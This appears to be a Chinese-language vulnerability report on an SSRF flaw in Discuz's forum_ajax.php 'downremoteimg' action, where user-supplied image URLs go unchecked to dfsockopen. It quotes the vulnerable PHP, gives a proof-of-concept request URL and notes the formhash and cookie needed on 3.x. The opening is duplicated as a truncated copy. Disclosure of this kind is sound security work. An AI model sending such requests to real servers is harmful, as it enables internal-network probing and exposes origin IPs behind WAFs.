### 简要描述: SSRF对于小程序来说,并不是什么问题,但对于大企业来说,这可能是极严重的。。。并且泄露了真实IP,这对于WAF来说算是严重的问题。 ### 详细说明: 文件: source/module/forum/forum_ajax.php ``` } elseif($_GET['action'] == 'downremoteimg') { $_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']); preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER); preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER); $temp = $aids = $existentimg = array(); if(is_array($image1) && !empty($image1)) { foreach($image1 as $value) { $temp[] = array( '0' => $value[0], '1' => trim(!empty($value[1]) ? $value[1] : $value[2]) ); } } if(is_array($image2) && !empty($image2)) { foreach($image2 as $value) { $temp[] = array( '0' => $value[0], '1' => trim($value[2]) ); } } require_once libfile('class/image'); if(is_array($temp) && !empty($temp)) { $upload...
### 简要描述: SSRF对于小程序来说,并不是什么问题,但对于大企业来说,这可能是极严重的。。。并且泄露了真实IP,这对于WAF来说算是严重的问题。 ### 详细说明: 文件: source/module/forum/forum_ajax.php ``` } elseif($_GET['action'] == 'downremoteimg') { $_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']); preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER); preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER); $temp = $aids = $existentimg = array(); if(is_array($image1) && !empty($image1)) { foreach($image1 as $value) { $temp[] = array( '0' => $value[0], '1' => trim(!empty($value[1]) ? $value[1] : $value[2]) ); } } if(is_array($image2) && !empty($image2)) { foreach($image2 as $value) { $temp[] = array( '0' => $value[0], '1' => trim($value[2]) ); } } require_once libfile('class/image'); if(is_array($temp) && !empty($temp)) { $upload = new discuz_upload(); $attachaids = array(); foreach($temp as $value) { $imageurl = $value[1]; $hash = md5($imageurl); if(strlen($imageurl)) { $imagereplace['oldimageurl'][] = $value[0]; if(!isset($existentimg[$hash])) { $existentimg[$hash] = $imageurl; $attach['ext'] = $upload->fileext($imageurl); if(!$upload->is_image_ext($attach['ext'])) { continue; } $content = ''; if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) { $content = dfsockopen($imageurl); } elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) { $imagereplace['newimageurl'][] = $value[0]; } ``` $content = dfsockopen($imageurl); 处,直接可以传入URL,造成SSRF ### 漏洞证明: ``` http://xxxx/bbs/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465 ``` 3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。 [<img src="https://images.seebug.org/upload/201511/01234102a1605a6431d149f1ec5b7d0c3acf15e4.png" alt="0.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201511/01234102a1605a6431d149f1ec5b7d0c3acf15e4.png)